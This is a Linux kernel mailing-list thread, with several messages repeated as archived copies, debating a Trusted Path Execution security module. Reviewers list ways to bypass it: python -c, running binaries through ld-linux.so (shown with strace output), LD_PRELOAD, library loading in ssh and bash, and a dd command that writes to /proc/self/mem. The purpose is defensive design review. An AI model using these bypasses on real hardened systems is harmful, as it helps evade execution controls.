>> difference under the TPE threat model.
>>
>> I don't have a knock down answer for this. Interpreters are a hard
>> problem for TPE.
>
> You might be interested in the minor LSM named "shebang", that I
> posted as a proof of concept back in January, which restricts the
> python interactive prompt/interpreter, but allows the scripts
> themselves to be executed.

https://patchwork.kernel.org/patch/9547405/

Maybe these could be merged and the interpreter string could be made
into a configurable list?

-Kees

-- 
Kees Cook
Pixel Security

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Kees Cook]

On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>> >>
>> >> *  Issues:
>> >>    *  Can be bypassed by interpreted languages such as python. You can run
>> >>       malicious code by doing: python -c 'evil code'
>> >
>> > What's the recommendation for people interested in using TPE but
>> > having interpreters installed?
>> >
>>
>> If you don't need a given interpreter installed, uninstall it. While
>> this is common sense system hardening it especially would make a
>> difference under the TPE threat model.
>>
>> I don't have a knock down answer for this. Interpreters are a hard
>> problem for TPE.
>
> You might be interested in the minor LSM named "shebang", that I
> posted as a proof of concept back in January, which restricts the
> python interactive prompt/interpreter, but allows the scripts
> themselves to be executed.

https://patchwork.kernel.org/patch/9547405/

Maybe these could be merged and the interpreter string could be made
into a configurable list?

-Kees

-- 
Kees Cook
Pixel Security

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Kees Cook]

On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>> >>
>> >> *  Issues:
>> >>    *  Can be bypassed by interpreted languages such as python. You can run
>> >>       malicious code by doing: python -c 'evil code'
>> >
>> > What's the recommendation for people interested in using TPE but
>> > having interpreters installed?
>> >
>>
>> If you don't need a given interpreter installed, uninstall it. While
>> this is common sense system hardening it especially would make a
>> difference under the TPE threat model.
>>
>> I don't have a knock down answer for this. Interpreters are a hard
>> problem for TPE.
>
> You might be interested in the minor LSM named "shebang", that I
> posted as a proof of concept back in January, which restricts the
> python interactive prompt/interpreter, but allows the scripts
> themselves to be executed.

https://patchwork.kernel.org/patch/9547405/

Maybe these could be merged and the interpreter string could be made
into a configurable list?

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 8:55 AM, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>
>>>>> *  Issues:
>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
>>>>>       malicious code by doing: python -c 'evil code'
>>>>
>>>> What's the recommendation for people interested in using TPE but
>>>> having interpreters installed?
>>>>
>>>
>>> If you don't need a given interpreter installed, uninstall it. While
>>> this is common sense system hardening it especially would make a
>>> difference under the TPE threat model.
>>>
>>> I don't have a knock down answer for this. Interpreters are a hard
>>> problem for TPE.
>>
>> You might be interested in the minor LSM named "shebang", that I
>> posted as a proof of concept back in January, which restricts the
>> python interactive prompt/interpreter, but allows the scripts
>> themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?
> 

Yes this looks promising. I'll look into integrating this.

Matt

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 8:55 AM, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>
>>>>> *  Issues:
>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
>>>>>       malicious code by doing: python -c 'evil code'
>>>>
>>>> What's the recommendation for people interested in using TPE but
>>>> having interpreters installed?
>>>>
>>>
>>> If you don't need a given interpreter installed, uninstall it. While
>>> this is common sense system hardening it especially would make a
>>> difference under the TPE threat model.
>>>
>>> I don't have a knock down answer for this. Interpreters are a hard
>>> problem for TPE.
>>
>> You might be interested in the minor LSM named "shebang", that I
>> posted as a proof of concept back in January, which restricts the
>> python interactive prompt/interpreter, but allows the scripts
>> themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?
> 

Yes this looks promising. I'll look into integrating this.

Matt

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 8:55 AM, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>
>>>>> *  Issues:
>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
>>>>>       malicious code by doing: python -c 'evil code'
>>>>
>>>> What's the recommendation for people interested in using TPE but
>>>> having interpreters installed?
>>>>
>>>
>>> If you don't need a given interpreter installed, uninstall it. While
>>> this is common sense system hardening it especially would make a
>>> difference under the TPE threat model.
>>>
>>> I don't have a knock down answer for this. Interpreters are a hard
>>> problem for TPE.
>>
>> You might be interested in the minor LSM named "shebang", that I
>> posted as a proof of concept back in January, which restricts the
>> python interactive prompt/interpreter, but allows the scripts
>> themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?
> 

Yes this looks promising. I'll look into integrating this.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> > On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >> >>
> >> >> *  Issues:
> >> >>    *  Can be bypassed by interpreted languages such as python. You can run
> >> >>       malicious code by doing: python -c 'evil code'
> >> >
> >> > What's the recommendation for people interested in using TPE but
> >> > having interpreters installed?
> >> >
> >>
> >> If you don't need a given interpreter installed, uninstall it. While
> >> this is common sense system hardening it especially would make a
> >> difference under the TPE threat model.
> >>
> >> I don't have a knock down answer for this. Interpreters are a hard
> >> problem for TPE.
> >
> > You might be interested in the minor LSM named "shebang", that I
> > posted as a proof of concept back in January, which restricts the
> > python interactive prompt/interpreter, but allows the scripts
> > themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?

I updated shebang, but didn't bother to post it, as nobody seemed to
be interested at the time.  The updated version already has support
for the configurable list. Re-posting ...

Mimi

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> > On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >> >>
> >> >> *  Issues:
> >> >>    *  Can be bypassed by interpreted languages such as python. You can run
> >> >>       malicious code by doing: python -c 'evil code'
> >> >
> >> > What's the recommendation for people interested in using TPE but
> >> > having interpreters installed?
> >> >
> >>
> >> If you don't need a given interpreter installed, uninstall it. While
> >> this is common sense system hardening it especially would make a
> >> difference under the TPE threat model.
> >>
> >> I don't have a knock down answer for this. Interpreters are a hard
> >> problem for TPE.
> >
> > You might be interested in the minor LSM named "shebang", that I
> > posted as a proof of concept back in January, which restricts the
> > python interactive prompt/interpreter, but allows the scripts
> > themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?

I updated shebang, but didn't bother to post it, as nobody seemed to
be interested at the time.  The updated version already has support
for the configurable list. Re-posting ...

Mimi

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> > On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >> >>
> >> >> *  Issues:
> >> >>    *  Can be bypassed by interpreted languages such as python. You can run
> >> >>       malicious code by doing: python -c 'evil code'
> >> >
> >> > What's the recommendation for people interested in using TPE but
> >> > having interpreters installed?
> >> >
> >>
> >> If you don't need a given interpreter installed, uninstall it. While
> >> this is common sense system hardening it especially would make a
> >> difference under the TPE threat model.
> >>
> >> I don't have a knock down answer for this. Interpreters are a hard
> >> problem for TPE.
> >
> > You might be interested in the minor LSM named "shebang", that I
> > posted as a proof of concept back in January, which restricts the
> > python interactive prompt/interpreter, but allows the scripts
> > themselves to be executed.
> 
> https://patchwork.kernel.org/patch/9547405/
> 
> Maybe these could be merged and the interpreter string could be made
> into a configurable list?

I updated shebang, but didn't bother to post it, as nobody seemed to
be interested at the time. ?The updated version already has support
for the configurable list. Re-posting ...

Mimi

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 9:16 AM, Mimi Zohar wrote:
> On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
>> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
>>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>>
>>>>>> *  Issues:
>>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
>>>>>>       malicious code by doing: python -c 'evil code'
>>>>>
>>>>> What's the recommendation for people interested in using TPE but
>>>>> having interpreters installed?
>>>>>
>>>>
>>>> If you don't need a given interpreter installed, uninstall it. While
>>>> this is common sense system hardening it especially would make a
>>>> difference under the TPE threat model.
>>>>
>>>> I don't have a knock down answer for this. Interpreters are a hard
>>>> problem for TPE.
>>>
>>> You might be interested in the minor LSM named "shebang", that I
>>> posted as a proof of concept back in January, which restricts the
>>> python interactive prompt/interpreter, but allows the scripts
>>> themselves to be executed.
>>
>> https://patchwork.kernel.org/patch/9547405/
>>
>> Maybe these could be merged and the interpreter string could be made
>> into a configurable list?
> 
> I updated shebang, but didn't bother to post it, as nobody seemed to
> be interested at the time.  The updated version already has support
> for the configurable list. Re-posting ...
> 

That would be awesome. I think it's the perfect complement to TPE as it
protects a key hole in its current threat model.

Matt

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/9/17 9:16 AM, Mimi Zohar wrote:
> On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
>> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
>>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>>>>>>
>>>>>> *  Issues:
>>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
>>>>>>       malicious code by doing: python -c 'evil code'
>>>>>
>>>>> What's the recommendation for people interested in using TPE but
>>>>> having interpreters installed?
>>>>>
>>>>
>>>> If you don't need a given interpreter installed, uninstall it. While
>>>> this is common sense system hardening it especially would make a
>>>> difference under the TPE threat model.
>>>>
>>>> I don't have a knock down answer for this. Interpreters are a hard
>>>> problem for TPE.
>>>
>>> You might be interested in the minor LSM named "shebang", that I
>>> posted as a proof of concept back in January, which restricts the
>>> python interactive prompt/interpreter, but allows the scripts
>>> themselves to be executed.
>>
>> https://patchwork.kernel.org/patch/9547405/
>>
>> Maybe these could be merged and the interpreter string could be made
>> into a configurable list?
> 
> I updated shebang, but didn't bother to post it, as nobody seemed to
> be interested at the time.  The updated version already has support
> for the configurable list. Re-posting ...
> 

That would be awesome. I think it's the perfect complement to TPE as it
protects a key hole in its current threat model.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Fri, 2017-06-09 at 09:18 -0400, Matt Brown wrote:
> On 6/9/17 9:16 AM, Mimi Zohar wrote:
> > On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
> >> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> >>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >>>>>>
> >>>>>> *  Issues:
> >>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
> >>>>>>       malicious code by doing: python -c 'evil code'
> >>>>>
> >>>>> What's the recommendation for people interested in using TPE but
> >>>>> having interpreters installed?
> >>>>>
> >>>>
> >>>> If you don't need a given interpreter installed, uninstall it. While
> >>>> this is common sense system hardening it especially would make a
> >>>> difference under the TPE threat model.
> >>>>
> >>>> I don't have a knock down answer for this. Interpreters are a hard
> >>>> problem for TPE.
> >>>
> >>> You might be interested in the minor LSM named "shebang", that I
> >>> posted as a proof of concept back in January, which restricts the
> >>> python interactive prompt/interpreter, but allows the scripts
> >>> themselves to be executed.
> >>
> >> https://patchwork.kernel.org/patch/9547405/
> >>
> >> Maybe these could be merged and the interpreter string could be made
> >> into a configurable list?
> > 
> > I updated shebang, but didn't bother to post it, as nobody seemed to
> > be interested at the time.  The updated version already has support
> > for the configurable list. Re-posting ...
> > 
> 
> That would be awesome. I think it's the perfect complement to TPE as it
> protects a key hole in its current threat model.

Hm, I hadn't looked at it in since January.  It still needs to be
cleaned up and expanded a bit.  The original version used a pathname
for identifying the interpreter.  This version converts the list of
pathnames to a set of inodes, which is better, but now requires a
method for updating the inode number after a software update.

Please feel free to expand on it or re-use whatever you like.

Mimi

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Fri, 2017-06-09 at 09:18 -0400, Matt Brown wrote:
> On 6/9/17 9:16 AM, Mimi Zohar wrote:
> > On Fri, 2017-06-09 at 05:55 -0700, Kees Cook wrote:
> >> On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> >>> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >>>>>>
> >>>>>> *  Issues:
> >>>>>>    *  Can be bypassed by interpreted languages such as python. You can run
> >>>>>>       malicious code by doing: python -c 'evil code'
> >>>>>
> >>>>> What's the recommendation for people interested in using TPE but
> >>>>> having interpreters installed?
> >>>>>
> >>>>
> >>>> If you don't need a given interpreter installed, uninstall it. While
> >>>> this is common sense system hardening it especially would make a
> >>>> difference under the TPE threat model.
> >>>>
> >>>> I don't have a knock down answer for this. Interpreters are a hard
> >>>> problem for TPE.
> >>>
> >>> You might be interested in the minor LSM named "shebang", that I
> >>> posted as a proof of concept back in January, which restricts the
> >>> python interactive prompt/interpreter, but allows the scripts
> >>> themselves to be executed.
> >>
> >> https://patchwork.kernel.org/patch/9547405/
> >>
> >> Maybe these could be merged and the interpreter string could be made
> >> into a configurable list?
> > 
> > I updated shebang, but didn't bother to post it, as nobody seemed to
> > be interested at the time.  The updated version already has support
> > for the configurable list. Re-posting ...
> > 
> 
> That would be awesome. I think it's the perfect complement to TPE as it
> protects a key hole in its current threat model.

Hm, I hadn't looked at it in since January. ?It still needs to be
cleaned up and expanded a bit. ?The original version used a pathname
for identifying the interpreter. ?This version converts the list of
pathnames to a set of inodes, which is better, but now requires a
method for updating the inode number after a software update.

Please feel free to expand on it or re-use whatever you like.

Mimi

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Solar Designer]

Matt,

I removed most CC's like before, as I don't want my voice on this to be
too loud.

On Thu, Jun 08, 2017 at 11:50:32PM -0400, Matt Brown wrote:
> On 06/08/2017 10:38 PM, Kees Cook wrote:
> >On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
> >>*  Issues:
> >>   *  Can be bypassed by interpreted languages such as python. You can run
> >>      malicious code by doing: python -c 'evil code'
> >
> >What's the recommendation for people interested in using TPE but
> >having interpreters installed?
> 
> If you don't need a given interpreter installed, uninstall it. While
> this is common sense system hardening it especially would make a
> difference under the TPE threat model.
> 
> I don't have a knock down answer for this. Interpreters are a hard
> problem for TPE.

Interpreters are only a tip of the iceberg.

With TPE, every program invocation becomes similar to a SUID/SGID one as
it relates to TPE's newly introduced security barrier.  However, the
dynamic linker and libc have no idea of this, and will happily grant
arbitrary code execution in context of those programs via LD_PRELOAD and
such.  Even if this is somehow dealt with (how would you do that in the
kernel alone? filter typical env var names? it quickly becomes way too
hackish and blacklistish, thus imperfect), then there's still:

I think many, and maybe most, binaries on a system will contain buffer
overflows and such that also allow for arbitrary code execution.  Those
programs were not written as carefully as SUID/SGID ones are supposed to
be.  They don't treat their input and environment as untrusted.

Closer to the topic of interpreters, there's also this old trick:

$ strace -e execve /lib/ld-linux.so.2 /bin/uname -ms
execve("/lib/ld-linux.so.2", ["/lib/ld-linux.so.2", "/bin/uname", "-ms"], [/* 28 vars */]) = 0
Linux i686
+++ exited with 0 +++

As you can see, the only execve(2) is of the dynamic linker.  Will /lib
or/and /lib64 be among trusted paths in a typical setup?  Well, maybe
not, although not including them will break ldd(1) on the more security
conscious distros, where it uses a similar trick of invoking the dynamic
linker explicitly (rather than the historical unsafe way of invoking the
binary being ldd'ed with some env vars set to tell its dynamic linker to
do the magic rather than proceed to execute the program).

But this last one is relatively minor.  The real big issue is that TPE
is either inherently fairly easily bypassable (and should be documented
as such) via many of the installed programs (by far not just explicit
interpreters, but also any programs containing "weird machines", which
is probably most non-trivial programs out there, and some trivial ones),
or it relies on all programs in the trusted paths being written as if
they were SUID/SGID (unrealistic for non-trivial systems).

Just so that you know what you're getting into, and so that you don't
mislead your users.

Alexander

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mickaël Salaün]

[-- Attachment #1.1: Type: text/plain, Size: 3824 bytes --]


On 13/06/2017 23:27, Solar Designer wrote:
> Matt,
> 
> I removed most CC's like before, as I don't want my voice on this to be
> too loud.
> 
> On Thu, Jun 08, 2017 at 11:50:32PM -0400, Matt Brown wrote:
>> On 06/08/2017 10:38 PM, Kees Cook wrote:
>>> On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
>>>> *  Issues:
>>>>   *  Can be bypassed by interpreted languages such as python. You can run
>>>>      malicious code by doing: python -c 'evil code'
>>>
>>> What's the recommendation for people interested in using TPE but
>>> having interpreters installed?
>>
>> If you don't need a given interpreter installed, uninstall it. While
>> this is common sense system hardening it especially would make a
>> difference under the TPE threat model.
>>
>> I don't have a knock down answer for this. Interpreters are a hard
>> problem for TPE.
> 
> Interpreters are only a tip of the iceberg.
> 
> With TPE, every program invocation becomes similar to a SUID/SGID one as
> it relates to TPE's newly introduced security barrier.  However, the
> dynamic linker and libc have no idea of this, and will happily grant
> arbitrary code execution in context of those programs via LD_PRELOAD and
> such.  Even if this is somehow dealt with (how would you do that in the
> kernel alone? filter typical env var names? it quickly becomes way too
> hackish and blacklistish, thus imperfect), then there's still:

What about using the AT_SECURE auxv (cf. security_bprm_secureexec)?

> 
> I think many, and maybe most, binaries on a system will contain buffer
> overflows and such that also allow for arbitrary code execution.  Those

Enforcing W^X (cf. tpe.memory xattr) mitigate this threat.

> programs were not written as carefully as SUID/SGID ones are supposed to
> be.  They don't treat their input and environment as untrusted.

Sure, but perfect is the enemy of good. Having a kernel enforcing TPE is
a good argument to convince userland to be hardened against untrusted
input. ;) For example, thanks to PaX, the Gentoo Hardened community
patched a lot of userland programs to make them compatible with PIE and
other security features.

> 
> Closer to the topic of interpreters, there's also this old trick:
> 
> $ strace -e execve /lib/ld-linux.so.2 /bin/uname -ms
> execve("/lib/ld-linux.so.2", ["/lib/ld-linux.so.2", "/bin/uname", "-ms"], [/* 28 vars */]) = 0
> Linux i686
> +++ exited with 0 +++
> 
> As you can see, the only execve(2) is of the dynamic linker.  Will /lib
> or/and /lib64 be among trusted paths in a typical setup?  Well, maybe
> not, although not including them will break ldd(1) on the more security
> conscious distros, where it uses a similar trick of invoking the dynamic
> linker explicitly (rather than the historical unsafe way of invoking the
> binary being ldd'ed with some env vars set to tell its dynamic linker to
> do the magic rather than proceed to execute the program).
> 
> But this last one is relatively minor.  The real big issue is that TPE
> is either inherently fairly easily bypassable (and should be documented
> as such) via many of the installed programs (by far not just explicit
> interpreters, but also any programs containing "weird machines", which
> is probably most non-trivial programs out there, and some trivial ones),
> or it relies on all programs in the trusted paths being written as if
> they were SUID/SGID (unrealistic for non-trivial systems).

Right, this is the most complex part, but we should start somewhere. :)
This kind of machine can not be constrain by the kernel, only by the
programs themselves. We need them to honor the AT_SECURE.

> 
> Just so that you know what you're getting into, and so that you don't
> mislead your users.
> 
> Alexander
> 


[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 488 bytes --]

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Solar Designer]

On Wed, Jun 14, 2017 at 01:53:56AM +0200, Micka??l Sala??n wrote:
> On 13/06/2017 23:27, Solar Designer wrote:
> > Interpreters are only a tip of the iceberg.
> > 
> > With TPE, every program invocation becomes similar to a SUID/SGID one as
> > it relates to TPE's newly introduced security barrier.  However, the
> > dynamic linker and libc have no idea of this, and will happily grant
> > arbitrary code execution in context of those programs via LD_PRELOAD and
> > such.  Even if this is somehow dealt with (how would you do that in the
> > kernel alone? filter typical env var names? it quickly becomes way too
> > hackish and blacklistish, thus imperfect), then there's still:
> 
> What about using the AT_SECURE auxv (cf. security_bprm_secureexec)?

You're right, I was wrong.  For kernel/ld.so/libc communication, this
case is no different from fscaps.  So no need for hacks and blacklists,
and AT_SECURE will work just as well (or as poorly, if a userspace
component on a given system does the old-fashioned euid and egid check
only, like some third-party libraries do before trusting env vars).
So it's not a TPE-specific issue, and the TPE patch or module may take
care of it as you suggest.

So this is something Matt will want to implement.  I see that Alan also
brought up the LD_PRELOAD argument, and this would address it.

> > I think many, and maybe most, binaries on a system will contain buffer
> > overflows and such that also allow for arbitrary code execution.  Those
> 
> Enforcing W^X (cf. tpe.memory xattr) mitigate this threat.

Mitigates yes, eliminates no.

> > programs were not written as carefully as SUID/SGID ones are supposed to
> > be.  They don't treat their input and environment as untrusted.
> 
> Sure, but perfect is the enemy of good. Having a kernel enforcing TPE is
> a good argument to convince userland to be hardened against untrusted
> input. ;) For example, thanks to PaX, the Gentoo Hardened community
> patched a lot of userland programs to make them compatible with PIE and
> other security features.

If TPE results in some programs becoming more robust (have we seen it
happening because of TPE specifically? I think not), that would be a
good thing on its own.  However, I doubt that non-trivial Linux
distros/installs will ever have a shortage of TPE bypasses.

> > The real big issue is that TPE
> > is either inherently fairly easily bypassable (and should be documented
> > as such) via many of the installed programs (by far not just explicit
> > interpreters, but also any programs containing "weird machines", which
> > is probably most non-trivial programs out there, and some trivial ones),
> > or it relies on all programs in the trusted paths being written as if
> > they were SUID/SGID (unrealistic for non-trivial systems).
> 
> Right, this is the most complex part, but we should start somewhere. :)
> This kind of machine can not be constrain by the kernel, only by the
> programs themselves. We need them to honor the AT_SECURE.

For many libraries, yes, we need them to honor AT_SECURE, although the
current way to achieve that appears to be to have glibc export its
__libc_enable_secure and to have it tested by other libraries like
OpenSSL's.  That's what we did in Owl years ago.  Another way would be
for Linux libc's to provide OpenBSD's issetugid(), like musl already
does.  This would make some portable projects like OpenSSL pick it up.

As to all programs honoring AT_SECURE, I think that's too much to ask,
and is unreasonable.

Alexander

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Jann Horn]

On Tue, Jun 13, 2017 at 11:27 PM, Solar Designer <solar@openwall.com> wrote:
> Matt,
>
> I removed most CC's like before, as I don't want my voice on this to be
> too loud.
>
> On Thu, Jun 08, 2017 at 11:50:32PM -0400, Matt Brown wrote:
>> On 06/08/2017 10:38 PM, Kees Cook wrote:
>> >On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
>> >>*  Issues:
>> >>   *  Can be bypassed by interpreted languages such as python. You can run
>> >>      malicious code by doing: python -c 'evil code'
>> >
>> >What's the recommendation for people interested in using TPE but
>> >having interpreters installed?
>>
>> If you don't need a given interpreter installed, uninstall it. While
>> this is common sense system hardening it especially would make a
>> difference under the TPE threat model.
>>
>> I don't have a knock down answer for this. Interpreters are a hard
>> problem for TPE.
>
> Interpreters are only a tip of the iceberg.

Some random related issues:

Scripts with shebang lines like "#!/usr/bin/env python" probably wouldn't
work anymore, at least not without special-case logic, because in this case,
env has to invoke python.

ssh and ssh-agent can load libraries from paths passed on the command
line, by design.
The alsa client library loads libraries from paths specified in user-owned
config files.

If you can use dd (or anything else that permits writing to a specific
position in a
file), you should be able to directly overwrite the memory of a
process using something like
"dd of=/proc/self/mem bs=1 seek=$STARTADDRESS < new_data".
I think one way to do this remotely is to use SFTP.

Bash has a built-in named "enable" that can load shared libraries directly
into the shell.

These are just some random examples I came up with relatively quickly,
there are probably more.

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Solar Designer]

On Wed, Jun 14, 2017 at 03:15:22PM +0200, Jann Horn wrote:
> Some random related issues:
> 
> Scripts with shebang lines like "#!/usr/bin/env python" probably wouldn't
> work anymore, at least not without special-case logic, because in this case,
> env has to invoke python.

Why would this break?  If both env and python are in trusted paths, it
should work with TPE just fine.  (But then TPE is rather ineffective.)

> ssh and ssh-agent can load libraries from paths passed on the command
> line, by design.
> The alsa client library loads libraries from paths specified in user-owned
> config files.
> 
> If you can use dd (or anything else that permits writing to a specific
> position in a
> file), you should be able to directly overwrite the memory of a
> process using something like
> "dd of=/proc/self/mem bs=1 seek=$STARTADDRESS < new_data".
> I think one way to do this remotely is to use SFTP.

IIRC, /proc/self/mem requires mmap() and won't work with dd's write().

> Bash has a built-in named "enable" that can load shared libraries directly
> into the shell.
> 
> These are just some random examples I came up with relatively quickly,
> there are probably more.

Thanks.  The ssh, alsa, and bash "enable" examples are probably valid.

Alexander

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Jann Horn]

On Wed, Jun 14, 2017 at 4:28 PM, Solar Designer <solar@openwall.com> wrote:
> On Wed, Jun 14, 2017 at 03:15:22PM +0200, Jann Horn wrote:
>> Some random related issues:
>>
>> Scripts with shebang lines like "#!/usr/bin/env python" probably wouldn't
>> work anymore, at least not without special-case logic, because in this case,
>> env has to invoke python.
>
> Why would this break?  If both env and python are in trusted paths, it
> should work with TPE just fine.  (But then TPE is rather ineffective.)

I think somewhere in this thread, or a related one, it was suggested to have
some mechanism to only prevent execution of e.g. python as an interpreter,
not direct execution.

>> ssh and ssh-agent can load libraries from paths passed on the command
>> line, by design.
>> The alsa client library loads libraries from paths specified in user-owned
>> config files.
>>
>> If you can use dd (or anything else that permits writing to a specific
>> position in a
>> file), you should be able to directly overwrite the memory of a
>> process using something like
>> "dd of=/proc/self/mem bs=1 seek=$STARTADDRESS < new_data".
>> I think one way to do this remotely is to use SFTP.
>
> IIRC, /proc/self/mem requires mmap() and won't work with dd's write().

That's definitely not true. You can't mmap() /proc/*/mem on Linux, and
reading/writing to/from it works. With older kernel versions, only the
ptrace parent was permitted to use /proc/*/mem for non-self processes,
but in newer kernel versions, that restriction is gone.
For an example, see: http://seclists.org/fulldisclosure/2014/Oct/35
(I think the mitigation added in OpenSSH 6.7 doesn't really work
properly anymore on newer kernels.)

>> Bash has a built-in named "enable" that can load shared libraries directly
>> into the shell.
>>
>> These are just some random examples I came up with relatively quickly,
>> there are probably more.
>
> Thanks.  The ssh, alsa, and bash "enable" examples are probably valid.
>
> Alexander

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Jann Horn]

On Wed, Jun 14, 2017 at 4:33 PM, Jann Horn <jannh@google.com> wrote:
> On Wed, Jun 14, 2017 at 4:28 PM, Solar Designer <solar@openwall.com> wrote:
>> On Wed, Jun 14, 2017 at 03:15:22PM +0200, Jann Horn wrote:
>>> Some random related issues:
>>>
>>> Scripts with shebang lines like "#!/usr/bin/env python" probably wouldn't
>>> work anymore, at least not without special-case logic, because in this case,
>>> env has to invoke python.
>>
>> Why would this break?  If both env and python are in trusted paths, it
>> should work with TPE just fine.  (But then TPE is rather ineffective.)
>
> I think somewhere in this thread, or a related one, it was suggested to have
> some mechanism to only prevent execution of e.g. python as an interpreter,
> not direct execution.

s/prevent/permit/

Re: [kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/13/17 5:27 PM, Solar Designer wrote:
> Matt,
> 
> I removed most CC's like before, as I don't want my voice on this to be
> too loud.
> 

I really appreciate your feedback and feel like it will only go to
making TPE better in the end.

